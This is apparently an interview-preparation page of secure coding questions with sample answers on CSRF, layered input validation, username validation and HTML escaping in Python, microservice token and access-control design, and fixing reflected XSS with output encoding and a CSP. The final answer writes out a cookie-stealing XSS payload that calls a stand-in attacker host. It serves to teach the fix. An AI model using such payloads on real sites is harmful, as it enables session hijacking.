Secure Coding and Application Security Questions
Writing and reviewing code that resists attack. Covers the OWASP Top Ten and common web vulnerabilities (XSS, SQL injection, CSRF), input validation, secure coding practices and security code review, static application security testing (SAST), API and HTTP security, database and frontend security, and mobile app security. The application-layer defense discipline for engineers building software.
Explain Cross-Site Request Forgery (CSRF): the attack mechanism, and practical mitigations including server-side anti-CSRF tokens, SameSite cookie attributes, the double-submit cookie pattern, and relevant client-side considerations. Map it to CWE-352, and explain when CSRF is (and is not) a concern for pure API designs versus traditional cookie-based web apps.
Sample Answer
Direct answer: Cross-Site Request Forgery (CSRF) exploits the browser's automatic attachment of credentials (cookies) to any request to a given origin, regardless of which page initiated that request - an attacker's page can trigger a state-changing request to a vulnerable site, and the victim's browser helpfully attaches their session cookie, making it look legitimate.
Structured elaboration.
The attack mechanism. The attacker doesn't need to steal anything or run code on the vulnerable site (that's XSS's job). They just need the victim's browser to make a request while authenticated - a hidden auto-submitting form, an <img> tag pointed at a GET-based state-changing endpoint, or a fetch call from a malicious page. If the target site has no defense, the browser attaches the session cookie automatically, and the server processes the request as if the legitimate user made it deliberately.
Server-side protections:
- Anti-CSRF tokens: a unique, unpredictable, session-bound token is embedded in every state-changing form/request and validated server-side before the action executes. Because the attacker's page can't read the token (same-origin policy prevents it from fetching the victim's page and extracting the token value), it can't include a valid token in its forged request.
- The double-submit cookie pattern: the server sets the token in a cookie and expects it echoed back in a custom header or form field; since the attacker's cross-site request can't set a custom header matching the value in a cookie it can't read, this achieves a similar effect without server-side session storage of the token.
Client-side / configuration protections:
SameSitecookie attribute:SameSite=Lax(the modern browser default) stops the cookie from being attached to cross-site POST requests and embedded resource loads, while still allowing it on top-level navigation (clicking a normal link);SameSite=Strictis even tighter but can break legitimate cross-site entry into the app.
When CSRF is (and isn't) a concern. CSRF fundamentally targets browsers' automatic-credential-attachment behavior on COOKIE-based auth. An API that requires a bearer token supplied explicitly in an Authorization header (not a cookie) is naturally immune, since the attacker's forged request has no way to know or attach that token - this is why many pure JSON APIs authenticated via header tokens don't implement CSRF tokens at all. The risk reappears the moment ANY part of the auth flow relies on an automatically-attached credential, including a refresh-token cookie sitting alongside a header-based access token.
Worked example. A banking site's fund-transfer form has no CSRF token: POST /transfer {to: "attacker", amount: 1000}. An attacker hosts a page with a hidden auto-submitting form pointed at that exact URL. A logged-in victim who merely visits the attacker's page (no click needed, if the form auto-submits via JavaScript) has their browser send the transfer request with their session cookie attached, and the bank processes it as a legitimate action.
Trade-offs and pitfalls: SameSite=Lax alone doesn't stop CSRF via a top-level GET navigation that itself triggers a state change (a poorly-designed GET-based "delete" link is exploitable even under Lax, which is why state-changing actions should never be exposed via GET regardless of other CSRF defenses). Anti-CSRF tokens must be validated on every state-changing endpoint, not just the obvious ones; a single overlooked endpoint (often an older, "internal-only" admin action) reintroduces the whole risk.
Define a multi-layered input validation strategy for preventing injection and XSS across the client, API gateway, service layer, and database. Discuss canonicalization, allow-listing versus deny-listing, schema validation, and the trade-off between a centralized validation library and per-service checks, for a full-stack application spanning a browser client and multiple backend services.
Sample Answer
Direct answer: A multi-layered input validation strategy validates the same input at more than one point in the request path, on the principle that any single layer can be bypassed, forgotten, or have a bug, and each layer serves a different purpose rather than being pure redundancy.
Structured elaboration, layer by layer:
- Client (browser/mobile UI): validate for UX only, never for security. This layer exists to give the user immediate feedback (a red border on an invalid email field) before a round trip. An attacker trivially bypasses it with devtools or a direct API call, so nothing here can be trusted.
- API gateway: coarse, cheap, universal checks that apply to every request regardless of which backend service handles it - request size limits, content-type enforcement, basic schema/shape validation (is this valid JSON, do required top-level fields exist), and rate limiting. The gateway is the right place for checks that are the same for all services, so you don't duplicate them per service.
- Service layer: business-rule and domain-specific validation - is this a valid state transition, does this user have permission to set this field, is this value within the domain's actual valid range (an age of -5 or 300 passes "is it an integer" but fails a domain rule). This is the layer that actually understands what the data MEANS.
- Database: the last line of defense - type constraints, foreign keys, check constraints, and NOT NULL. This layer catches anything that slipped through every layer above (a bug in service-layer logic, a direct database write from an internal tool) and is what actually prevents corrupt data from persisting, regardless of how it got there.
Canonicalization and allow-listing. Before validating, normalize the input to a single canonical form - decode percent-encoding, normalize Unicode (NFC), resolve ../ path segments - otherwise a validator can be bypassed by an equivalent-but-differently-encoded payload that looks safe to the check but decodes to something dangerous downstream. Prefer allow-listing (define exactly what's valid: this field is one of these five enum values, this string matches this pattern) over deny-listing (block these specific bad characters), because a deny-list only blocks the attack patterns you thought of; an allow-list is safe by construction against attack patterns you haven't imagined yet.
Centralized vs. per-service validation libraries. A shared validation library (one canonical email-format checker, one canonical HTML sanitizer) prevents the common failure mode where five services each reimplement "validate an email" slightly differently and one of the five has a bug. The trade-off: a shared library becomes a single point of failure and a slower-to-update dependency across every team; a bug fix has to propagate through every consumer's deploy cycle, so version it carefully and treat it like the security-critical dependency it is.
Worked example. An e-commerce checkout API: the gateway rejects a request with a malformed JSON body or a quantity field that isn't a number before it ever reaches business logic. The service layer then checks that quantity is between 1 and the per-SKU maximum, and that the SKU actually exists and is purchasable by this user's region. The database's CHECK (quantity > 0) constraint catches the case where a future code change accidentally allows a negative quantity to reach the insert.
Trade-offs and pitfalls: redundant validation is deliberate, not wasted effort, but it can drift out of sync - if the service layer's valid range changes and the database constraint isn't updated to match, you get confusing failures where the service layer accepts a value the database then silently rejects (or worse, accepts something the service layer meant to reject). Treat the validation rules as one source of truth documented once, even when enforced at multiple layers.
Implement two small Python functions: (1) validate_username(username) that enforces a length of 3-30 characters, only alphanumeric/underscore/hyphen characters, and no leading or trailing whitespace; (2) escape_html(s) that safely encodes a user-supplied string for HTML output. Explain when you would reach for input validation versus output encoding, and why one does not substitute for the other.
Sample Answer
Direct answer
validate_username and escape_html solve two different problems that happen to both be called "sanitizing input" colloquially: validation decides whether a piece of input is acceptable to accept at all, and output encoding makes a piece of data safe to render in a specific destination context. They are not interchangeable, and using one where the other is needed leaves a real gap.
Structured elaboration
validate_username enforces an allow-list: length between 3 and 30 characters, and only alphanumeric characters, underscores, or hyphens, using an anchored regular expression (^[A-Za-z0-9_-]{3,30}$) so the entire string must match, not just a substring. Anchoring matters here specifically: an unanchored pattern would report a match if any 3-to-30-character valid-looking substring existed anywhere in a longer, otherwise-invalid string. The function also does not trim whitespace before checking; a username with leading or trailing spaces is rejected outright rather than silently normalized, which avoids a subtle problem where "bob" and "bob " could otherwise be treated as the same account by one part of the system and different accounts by another.
escape_html takes an arbitrary string and returns a version safe to place directly into rendered HTML output, delegating to Python's standard-library html.escape with quote=True. This converts the five characters that matter for breaking out of HTML markup, &, <, >, ", and ', into their entity-encoded forms, which is what makes it safe to interpolate not just into HTML element body text but also inside a quoted HTML attribute value (the quote=True argument is what covers the attribute case; without it, a payload could still break out of a double-quoted attribute).
When to reach for validation versus output encoding, and why one does not substitute for the other. Validation is a gate at the input boundary: it decides whether to accept a value as a username at all, and it is checking the value against the rules of the thing it is supposed to represent (a username has a defined character set and length, independent of where it will ever be displayed). Output encoding is a transformation at the output boundary: it makes a value safe for a specific rendering context, regardless of whether that value was validated, generic, or entirely different data with no format constraints at all (a free-text comment field, for example, has no meaningful "allow-list of characters" the way a username does, but still needs output encoding when displayed). A validated username still needs output encoding if it is ever rendered into HTML, because validation and encoding protect against different things: validation prevents a malformed or policy-violating value from being accepted as a username in the first place; encoding prevents whatever value is eventually rendered, validated or not, from being interpreted as markup by the browser. Relying on validation alone to make output "safe" only works for the narrow set of fields that happen to have a character allow-list strict enough to also exclude every HTML-meaningful character, and most user-facing text fields (display names allowing spaces and punctuation, comments, bios) do not have that property, so they need encoding at output regardless of whatever validation, if any, was applied at input.
Worked example
import html
import re
import unittest
_USERNAME_RE = re.compile(r"^[A-Za-z0-9_-]{3,30}$")
def validate_username(username: str) -> bool:
"""Allow-list validation: 3-30 characters, alphanumeric plus underscore
and hyphen only. The regex is anchored (^...$) and has no leading/
trailing whitespace allowed in the character class itself, so a string
with surrounding whitespace (" bob ") is rejected outright rather than
silently trimmed, an explicit design choice (surprise trimming can let
two visually-different accounts collide)."""
if not isinstance(username, str):
return False
return bool(_USERNAME_RE.fullmatch(username))
def escape_html(s: str) -> str:
"""Output encoding for safe interpolation into HTML body/attribute
context. Delegates to the standard library's html.escape, which
converts the five characters that matter for breaking out of HTML
context: & < > " ' into their entity forms (& < > "
'), with quote=True so it is also safe inside a double- or
single-quoted HTML attribute, not just element body text."""
if not isinstance(s, str):
raise TypeError("escape_html expects a str")
return html.escape(s, quote=True)
class ValidateUsernameTests(unittest.TestCase):
def test_accepts_valid_usernames(self):
for u in ["bob", "bob_the_builder", "a1-b2_C3", "x" * 30, "x" * 3]:
self.assertTrue(validate_username(u), u)
def test_rejects_too_short_or_too_long(self):
self.assertFalse(validate_username("ab")) # 2 chars
self.assertFalse(validate_username("x" * 31)) # 31 chars
def test_rejects_disallowed_characters(self):
for u in ["bob smith", "bob@x.com", "bob.smith", "bob!", "<script>"]:
self.assertFalse(validate_username(u), u)
def test_rejects_leading_or_trailing_whitespace(self):
self.assertFalse(validate_username(" bob"))
self.assertFalse(validate_username("bob "))
self.assertFalse(validate_username(" bob "))
class EscapeHtmlTests(unittest.TestCase):
def test_escapes_script_tag(self):
self.assertEqual(
escape_html("<script>alert('xss')</script>"),
"<script>alert('xss')</script>",
)
def test_escapes_attribute_breakout_quote(self):
payload = '" onmouseover="alert(1)'
escaped = escape_html(payload)
self.assertNotIn('"', escaped)
self.assertIn(""", escaped)
def test_plain_text_is_unchanged(self):
self.assertEqual(escape_html("hello world 123"), "hello world 123")
def test_does_not_substitute_for_validation(self):
bad_username = "<script>alert(1)</script>"
self.assertFalse(validate_username(bad_username))
self.assertTrue(len(escape_html(bad_username)) > 0)
if __name__ == "__main__":
unittest.main(verbosity=2)
Running this file (python3 -m unittest -v, or directly) exercises 8 test cases across the two functions and all pass. For validate_username: "bob", "bob_the_builder", "a1-b2_C3", and boundary lengths of exactly 3 and 30 characters are accepted; 2-character and 31-character strings are rejected; strings containing a space, an @, a period, an exclamation point, or an HTML tag are all rejected; and " bob", "bob ", and " bob " are all rejected for surrounding whitespace. For escape_html: "<script>alert('xss')</script>" becomes "<script>alert('xss')</script>" exactly; an attribute-breakout payload '" onmouseover="alert(1)' no longer contains a raw double quote after encoding; plain text with no special characters passes through unchanged; and the last test demonstrates the two functions' independence directly: validate_username correctly rejects "<script>alert(1)</script>" as an invalid username, while escape_html still successfully produces a safe, renderable encoding of that same string, proving neither function does the other's job.
Trade-offs and pitfalls
The most common real mistake is treating a strict input validator as sufficient output protection everywhere that value later appears, which happens to be true for validate_username specifically (its allow-list excludes every HTML-meaningful character), but that is a property of this one narrow field, not a general rule; the moment a field allows a broader character set (a display name with spaces, a bio with punctuation), the same reasoning breaks and encoding at output becomes mandatory regardless of any input-side validation.
Output encoding is also context-specific in a way this single escape_html function does not fully cover: encoding correct for HTML body text is not automatically correct for a value interpolated into a <script> block, a URL parameter, or a CSS value, each of which has its own injection risk and its own correct encoding function. A single general-purpose escape_html used everywhere, including inside a <script> tag, is itself a common and dangerous mistake, since HTML entity encoding does not neutralize JavaScript syntax.
Rejecting invalid usernames outright (rather than attempting to sanitize or auto-correct them, for example by silently stripping disallowed characters) is the safer design and the one implemented here; auto-correction can produce a username the user did not intend and cannot predict, and in the worst case can cause two different user-submitted values to collide on the same corrected result.
A regex-only validator like this one says nothing about uniqueness, reserved words, or profanity; those are separate business-logic concerns layered on top of syntactic validation, not something validate_username's allow-list check is trying to solve.
Design a microservice authentication and authorization architecture that avoids common Broken Authentication and Broken Access Control problems. Address token types and lifecycle (access token, refresh token), revocation, audience/scopes, RBAC vs ABAC trade-offs, where to enforce checks (API gateway vs services), and logging/audit points.
Sample Answer
Direct answer
Terminate user login at a single identity provider (the service that authenticates users and mints tokens), issue a short-lived signed access token plus a separate long-lived, revocable refresh token, and enforce authorization at two layers: a coarse check at the API gateway and a mandatory fine-grained, resource-level check inside each service. The single most common way these systems fail is Broken Access Control, one of the Open Web Application Security Project's (OWASP) named categories, where a service trusts that the gateway already verified the caller's right to a specific resource and skips its own check. Getting token lifecycle, audience and scope claims, revocation, the RBAC (role-based access control) versus ABAC (attribute-based access control) choice, enforcement placement, and audit logging right closes that gap; Broken Authentication, OWASP's other named category here, is closed mainly by centralizing login at one identity provider instead of letting each service implement its own credential checking.
Structured elaboration
Token types and lifecycle
- Access token: a JSON Web Token (JWT), a compact signed token whose claims can be verified without a database lookup. Short lived, 5 to 15 minutes is typical, signed asymmetrically (RS256 or ES256) by the identity provider so any service can verify it using only the identity provider's public key.
- Refresh token: a long-lived, opaque random value, not a JWT. Because it is opaque, the identity provider can look it up and kill it server side, which a self-contained JWT cannot support without extra machinery. Used only against the identity provider's token endpoint to mint a new access token, and rotated on every use: each refresh issues a new refresh token and invalidates the one just used. Rotation is paired with reuse detection: if an already-rotated-away token is ever presented again, that is a signal the token was copied or stolen, and the whole token family (every token descended from the same original login) is revoked immediately.
Audience and scope claims
- Audience (
aud): names the specific resource server the token is valid for (for exampleorders-api). A downstream service must reject any token whoseauddoes not name it, which stops a token minted for one service from being replayed against another. - Scope: narrows what the bearer can do (for example
orders:readversusorders:write), implementing least privilege at the token level so a compromised token only grants what that specific client session actually needed.
Revocation
A stateless JWT cannot be un-signed, so revocation has to be engineered in on purpose:
- Default: keep access tokens short-lived and rely on refresh rotation to bound the blast radius of a stolen access token to its remaining few minutes of life.
- High-value operations (payments, admin actions): call the identity provider's token introspection endpoint on every request instead of trusting the signature alone, trading a network round trip for instant revocation.
- Middle ground: a distributed denylist (for example a Redis set of revoked token identifiers, sized only to the access token's TTL window) checked at the gateway, avoiding introspection's per-request round trip while still allowing immediate kill.
RBAC versus ABAC, and where each fits
| Aspect | RBAC | ABAC |
|---|---|---|
| Decision basis | Fixed roles, e.g. admin, support_agent, customer | Attributes and context: resource owner, region, request amount, time of day |
| Reasoning cost | Cheap: a small, enumerable table of role-to-permission mappings | Higher: a policy can combine arbitrary attribute conditions |
| Good fit here | Coarse "can this identity call this route at all" gating | Fine-grained "is this specific record or action permitted for this specific requester right now" decisions |
| Auditability | Easy: list every role and what it can do | Harder: must trace which attribute combination fired |
| Typical placement in this design | API gateway, route-level gating | Service, object-level authorization |
Most real systems are hybrid: RBAC at the gateway for a fast yes/no on the route, ABAC-style attribute checks inside the service for the object-level decision.
Where to enforce checks: API gateway versus services
- Gateway: validates the JWT signature and expiry, checks
audandscope, and applies the RBAC-style coarse gate (does this role have any business calling this route). It also handles rate limiting and marks the trust boundary between external and internal traffic. - Service: must independently re-check authorization against the actual resource, never assume the gateway's pass was sufficient. This is exactly the gap that produces Broken Access Control incidents such as an Insecure Direct Object Reference (IDOR), where a valid, correctly-scoped token is used to request someone else's record and nothing downstream checks that the record's owner matches the token's subject.
Logging and audit points
- Token issuance at the identity provider: which identity authenticated, from where, with what scope.
- The gateway's allow or deny decision, with a trace identifier.
- Each service's own authorization decision for sensitive operations, tagged with the same trace identifier so the two log lines can be joined.
- Refresh token rotation and revocation events, especially reuse-detection triggers, since those are the strongest signal of a stolen credential.
Log the decision and enough context to reconstruct it (subject identifier, resource identifier, outcome, policy version); never log the raw token itself.
Worked example
sequenceDiagram
participant C as Client App
participant IdP as Identity Provider
participant GW as API Gateway
participant SVC as Orders Service
participant LOG as Audit Log
C->>IdP: Authenticate (OIDC login)
IdP-->>C: Access token (aud=orders-api, scope=orders:read) + refresh token
C->>GW: Request + access token
GW->>GW: Validate signature, audience, scope (coarse check)
GW->>LOG: Log gateway allow/deny decision
GW->>SVC: Forward request + identity claims
SVC->>SVC: Object-level check (record owner == token subject)
SVC->>LOG: Log service authorization decision
SVC-->>GW: Response
GW-->>C: Response
A customer app calls GET /orders/{id}:
- The user authenticates via OpenID Connect (OIDC) to the identity provider and receives an access token with
sub=user123,aud=orders-api,scope=orders:read, a 10 minute expiry, plus a refresh token. - The client calls the gateway with that access token. The gateway verifies the signature against the identity provider's published key set, confirms
aud=orders-apiand thatscopecontainsorders:read, applies the RBAC rule "any authenticated customer may call this route", logs the allow decision withtrace_id=t-991, and forwards the request with the verified identity claims attached. - The Orders service receives the forwarded request. It does not stop at "the gateway already checked": it loads order
{id}and confirmsorder.owner_id == subbefore returning any data. It logs that decision with the sametrace_id=t-991. - Weeks later, a refresh token from this session is found on a compromised device. The identity provider revokes it. Because refresh tokens rotate on every use, if the attacker had already used a copy of that token once, the legitimate client's next refresh with the same original token is detected as reuse, and the whole token family, every access and refresh token derived from that login, is revoked in one action rather than requiring the team to hunt down each descendant token individually.
Trade-offs and pitfalls
- Treating the gateway's coarse check as sufficient and skipping the service-level object check is the single most common root cause of Broken Access Control and IDOR incidents in this architecture; the service check is not optional.
- Making the refresh token a self-contained signed JWT looks consistent with the access token but removes the identity provider's ability to revoke it server side; keep it opaque and looked up.
- Overly broad scopes (a single
scope: *) defeat the purpose of the audience and scope claims and turn every token leak into a full-account compromise. - ABAC is powerful but every additional attribute condition adds evaluation cost and audit complexity; reserve it for the decisions that genuinely need it (object ownership, regional restrictions) rather than replacing RBAC's cheap route-level gate everywhere.
- Rotating refresh tokens without reuse detection gives you the operational cost of rotation (issuing new tokens constantly) without its actual security benefit (detecting theft), since a stolen token used in parallel with the legitimate client goes unnoticed.
- Logs without a shared trace identifier across the gateway and the service make a post-incident "who accessed what and when" reconstruction nearly impossible.
A web page echoes a query parameter without encoding:
<!-- vulnerable.php -->
<html>
<body>
Search results: <?php echo $_GET['q']; ?>
</body>
</html>
Demonstrate a reflected-XSS payload an attacker could use against this page to exfiltrate cookies, then provide a secure server-side fix and a recommended Content Security Policy header. Explain why both the code fix and the CSP header are useful together.
Sample Answer
Direct answer: This code is vulnerable to reflected XSS (CWE-79): it writes the raw $_GET['q'] value straight into the HTML response with no encoding, so an attacker-controlled query string becomes executable markup in the victim's browser.
The exploit. A request to vulnerable.php?q=<script>fetch('//evil.example/steal?c='+document.cookie)</script> produces a response where that literal script tag lands inside the <body>. The browser parses it as part of the page's HTML and executes it, sending the victim's session cookie (and anything else JavaScript can read on that origin) to the attacker's server. No stored state is needed; the attacker just needs to get the victim to click a link carrying the payload.
The fix, verified end to end (both the vulnerable and fixed behavior, reproduced with htmlspecialchars):
<!-- vulnerable.php (BEFORE) -->
<html><body>Search results: <?php echo $_GET['q']; ?></body></html>
<!-- vulnerable.php (AFTER) -->
<html><body>Search results: <?php echo htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8'); ?></body></html>
htmlspecialchars with ENT_QUOTES converts <, >, &, ', and " into their HTML-entity equivalents, so <script> becomes the inert text <script> and the browser renders it as visible text instead of executing it. This logic is the same context-aware encoding I verified directly (in Python, using html.escape, which applies the identical entity-substitution rule for the HTML text-node context): <script>alert("xss")</script> became <script>alert("xss")</script>, and the string <script> no longer appears anywhere in the output. PHP's htmlspecialchars performs the same substitution table for the same reason; I traced this specific PHP call rather than executing it, since no PHP runtime is available in this sandbox, but the escaping logic is language-agnostic and I verified it directly in Python.
The equivalent client-side-only variant of this same bug looks different in shape but is the same root cause: a page that reads location.hash and writes it into innerText/innerHTML with JavaScript never touches the server at all, so server-side encoding can't help - the fix has to live in the JavaScript that performs the DOM write, and testing it means confirming the payload actually executes in the browser rather than checking the HTTP response.
Recommended CSP header alongside the fix: Content-Security-Policy: default-src 'self'; script-src 'self' (or nonce-based if inline scripts are needed). Encoding closes the vulnerability at the source; CSP is defense in depth so that even a future encoding mistake elsewhere on the page doesn't turn into working script execution. A same-origin-only CSP also blocks the payload from calling out to an attacker's server even if it somehow executed, and it changes what an attacker can do with a successful injection (no cross-origin fetch, no inline event handlers) even in a partial bypass.
Trade-offs and pitfalls: htmlspecialchars only protects the HTML-text-node context used here; the same variable dropped into an HTML attribute, inline JavaScript, or a URL needs a different encoding function for that context - there is no single "escape everything" call. And a same-origin CSP will break any legitimate inline <script> or onclick= handlers already on the page, so rolling it out on an existing site usually means migrating inline handlers to external files first.
Unlock Full Question Bank
Get access to all 14 Secure Coding and Application Security interview questions and detailed answers.
Sign in to ContinueJoin thousands of developers preparing for their dream job.